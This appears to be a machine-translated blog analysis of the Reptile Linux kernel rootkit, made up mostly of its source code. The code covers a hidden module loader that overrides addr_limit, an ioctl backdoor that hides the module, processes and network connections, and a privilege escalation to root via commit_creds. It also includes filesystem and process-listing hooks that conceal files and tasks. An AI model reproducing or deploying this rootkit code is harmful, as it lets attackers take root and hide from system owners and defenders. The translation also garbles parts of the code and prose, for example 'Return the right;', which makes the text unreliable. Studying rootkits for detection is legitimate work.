Brief introduction
Reptile is a very fire on github linux lkm rootkit, recently learned something linux rootkit, where the record about.
It is to analyze the realization of reptile
Reptile use
Installation command:
sudo ./setup.sh install
Then execute the following command
/reptile/reptile_cmd show
Then you can see / reptile something in the directory, which is the project files installed in the system, after installation, are hidden by default. Specific execute commands no longer go into details here
The following procedures will be
Reptile Principle Analysis
Reptile uses two other projects
. 1, khook : a kernel hook frame, specific analysis can be seen here https://www.cnblogs.com/likaiming/p/10970543.html
2, kmatryoshka : a dynamic loader module
Here the first analyze the realization of kmatryoshka
kmatryoshka
parasite_loader / main.c init_module function is the entry of a function. Under encrypt directories are encrypted representatives of the relevant parts.
Entire loader is inserted as a module into the kernel, the function of this module is to load the module user space handler sys_init_module is the system init_module function calls used, which is a derivation function to obtain this function by looking kallsyms address , you can use.
First look at the sys_init_module looking to achieve, using kallsyms_on_each_symbol function, passing a seek function can be found from the symbolic address to achieve the following two functions is used, the data [0] into're looking for, data [1 ] into the result.
static int ksym_lookup_cb(unsigned long data[], const char *name, void *module, unsigned long addr) { int i = 0; while (!module && (((const char *)data[0]))[i] == name[i]) { if (!name[i++]) return !!(data[1] = addr); } return 0; } static inline unsigned long ksym_lookup_name(const char *name) { unsigned long data[2] = { (unsigned long)name, 0 }; kallsyms_on_each_symbol((void *)ksym_lookup_cb, data); return data[1]; }
Then call this function init_module
sys_init_module = (void *)ksym_lookup_name("sys_init_module");
After further obtains the symbol address when an incoming parasite_blob, i.e. the address of the destination module, but also thread_info structure addr_limit, the user address space is the maximum address, in init_module function, will address validator , use is addr_limit, where it will modify this value, ensure that the address check.
if (sys_init_module) { const char *nullarg = parasite_blob; unsigned long seg = user_addr_max(); while (*nullarg) nullarg++; user_addr_max() = roundup((unsigned long)parasite_blob + sizeof(parasite_blob), PAGE_SIZE); sys_init_module(parasite_blob, sizeof(parasite_blob), nullarg); user_addr_max() = seg; }
Reptile
Back Reptile, home directory, parasite_loader is mentioned above project, khook is the kernel hook framework, sbin some user mode programs, reptile_cmd, etc. These programs are compiled by the following sbin program, script following script Some scripts are generated to store catalog, the following content is automatically deleted after installation. loader The following program is relatively simple, the main logic written in rep_mod, the following will mainly talk about the function of each function of this document
The main function, khook_init used to initialize khook, magic_packet_hook_options netlink hook is, the START reptile_start is arranged in the setup script,
static int __init reptile_init(void) { int ret; char *argv[] = {START, NULL, NULL}; //创建工作线程 work_queue = create_workqueue(WORKQUEUE); ret = khook_init(); if (ret != 0) goto out; magic_packet_hook_options.hook = (void *)magic_packet_hook; magic_packet_hook_options.hooknum = 0; magic_packet_hook_options.pf = PF_INET; magic_packet_hook_options.priority = NF_IP_PRI_FIRST; #if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 13, 0) nf_register_net_hook(&init_net, &magic_packet_hook_options); #else nf_register_hook(&magic_packet_hook_options); #endif exec(argv); hide(); out: return ret; }
netlink hook
![](https://images.cnblogs.com/OutliningIndicators/ContractedBlock.gif)
KHOOK_EXT(int, inet_ioctl, struct socket *, unsigned int, unsigned long); static int khook_inet_ioctl(struct socket *sock, unsigned int cmd, unsigned long arg) { int ret = 0; unsigned int pid; struct control args; struct sockaddr_in addr; struct hidden_conn *hc; if (cmd == AUTH && arg == HTUA) { if (control_flag) { control_flag = 0; } else { control_flag = 1; } goto out; } if (control_flag && cmd == AUTH) { if (copy_from_user(&args, (void *)arg, sizeof(args))) goto out; switch (args.cmd) { //0则更改隐藏或是显示 case 0: if (hide_module) { show(); hidden = 0; } else { hide(); hidden = 1; } break; case 1://根据pid设置进程的可见性 if (copy_from_user(&pid, args.argv, sizeof(unsigned int))) goto out; if (is_invisible(pid)) flag_tasks(pid, 0); else flag_tasks(pid, 1); break; case 2: if (file_tampering) file_tampering = 0; else file_tampering = 1; break; case 3://提权 #if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29) current->uid = 0; current->suid = 0; current->euid = 0; current->gid = 0; current->egid = 0; current->fsuid = 0; current->fsgid = 0; cap_set_full(current->cap_effective); cap_set_full(current->cap_inheritable); cap_set_full(current->cap_permitted); #else commit_creds(prepare_kernel_cred(0)); #endif break; case 4://增加隐藏tcp端口 if (copy_from_user(&addr, args.argv, sizeof(struct sockaddr_in))) goto out; hc = kmalloc(sizeof(*hc), GFP_KERNEL); if (!hc) goto out; hc->addr = addr; list_add(&hc->list, &hidden_tcp_conn); break; case 5://删除隐藏tcp端口 if (copy_from_user(&addr, args.argv, sizeof(struct sockaddr_in))) goto out; list_for_each_entry(hc, &hidden_tcp_conn, list) { if (addr.sin_port == hc->addr.sin_port && addr.sin_addr.s_addr == hc->addr.sin_addr.s_addr) { list_del(&hc->list); kfree(hc); break; } } break; case 6://增加隐藏tcp端口 if (copy_from_user(&addr, args.argv, sizeof(struct sockaddr_in))) goto out; hc = kmalloc(sizeof(*hc), GFP_KERNEL); if (!hc) goto out; hc->addr = addr; list_add(&hc->list, &hidden_udp_conn); break; case 7://删除隐藏tcp端口 if (copy_from_user(&addr, args.argv, sizeof(struct sockaddr_in))) goto out; list_for_each_entry(hc, &hidden_udp_conn, list) { if (addr.sin_port == hc->addr.sin_port && addr.sin_addr.s_addr == hc->addr.sin_addr.s_addr) { list_del(&hc->list); kfree(hc); break; } } break; default: goto origin; } goto out; } origin: ret = KHOOK_ORIGIN(inet_ioctl, sock, cmd, arg); out: Return the right; }
![](https://images.cnblogs.com/OutliningIndicators/ContractedBlock.gif)
KHOOK_EXT(int, fillonedir, void *, const char *, int, loff_t, u64, unsigned int); static int khook_fillonedir(void *__buf, const char *name, int namlen, loff_t offset, u64 ino, unsigned int d_type) { int ret = 0; if (!strstr(name, HIDE) || !hidden) ret = KHOOK_ORIGIN(fillonedir, __buf, name, namlen, offset, ino, d_type); return ret; } KHOOK_EXT(int, filldir, void *, const char *, int, loff_t, u64, unsigned int); static int khook_filldir(void *__buf, const char *name, int namlen, loff_t offset, u64 ino, unsigned int d_type) { int ret = 0; if (!strstr(name, HIDE) || !hidden) ret = KHOOK_ORIGIN(filldir, __buf, name, namlen, offset, ino, d_type); return ret; } KHOOK_EXT(int, filldir64, void *, const char *, int, loff_t, u64, unsigned int); static int khook_filldir64(void *__buf, const char *name, int namlen, loff_t offset, u64 ino, unsigned int d_type) { int ret = 0; if (!strstr(name, HIDE) || !hidden) ret = KHOOK_ORIGIN(filldir64, __buf, name, namlen, offset, ino, d_type); return ret; } KHOOK_EXT(int, compat_fillonedir, void *, const char *, int, loff_t, u64, unsigned int); static int khook_compat_fillonedir(void *__buf, const char *name, int namlen, loff_t offset, u64 ino, unsigned int d_type) { int ret = 0; if (!strstr(name, HIDE) || !hidden) ret = KHOOK_ORIGIN(compat_fillonedir, __buf, name, namlen, offset, ino, d_type); return ret; } KHOOK_EXT(int, compat_filldir, void *, const char *, int, loff_t, u64, unsigned int); static int khook_compat_filldir(void *__buf, const char *name, int namlen, loff_t offset, u64 ino, unsigned int d_type) { int ret = 0; if (!strstr(name, HIDE) || !hidden) ret = KHOOK_ORIGIN(compat_filldir, __buf, name, namlen, offset, ino, d_type); return ret; } #if LINUX_VERSION_CODE < KERNEL_VERSION(4, 12, 0) KHOOK_EXT(int, compat_filldir64, void *buf, const char *, int, loff_t, u64, unsigned int); static int khook_compat_filldir64(void *__buf, const char *name, int namlen, loff_t offset, u64 ino, unsigned int d_type) { int ret = 0; if (!strstr(name, HIDE) || !hidden) ret = KHOOK_ORIGIN(compat_filldir64, __buf, name, namlen, offset, ino, d_type); return ret; } #endif #if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 9, 0) KHOOK_EXT(struct dentry *, __d_lookup, const struct dentry *, const struct qstr *); struct dentry *khook___d_lookup(const struct dentry *parent, const struct qstr *name) #else KHOOK_EXT(struct dentry *, __d_lookup, struct dentry *, struct qstr *); struct dentry *khook___d_lookup(struct dentry *parent, struct qstr *name) #endif { struct dentry *found = NULL; if (!strstr(name->name, HIDE) || !hidden) found = KHOOK_ORIGIN(__d_lookup, parent, name); return found; } KHOOK_EXT(struct tgid_iter, next_tgid, struct pid_namespace *, struct tgid_iter); static struct tgid_iter khook_next_tgid(struct pid_namespace *ns, struct tgid_iter iter) { if (hidden) { while ((iter = KHOOK_ORIGIN(next_tgid, ns, iter), iter.task) != NULL) { if (!(iter.task->flags & FLAG)) break; iter.tgid++; } } else { iter = KHOOK_ORIGIN(next_tgid, ns, iter); } return iter; }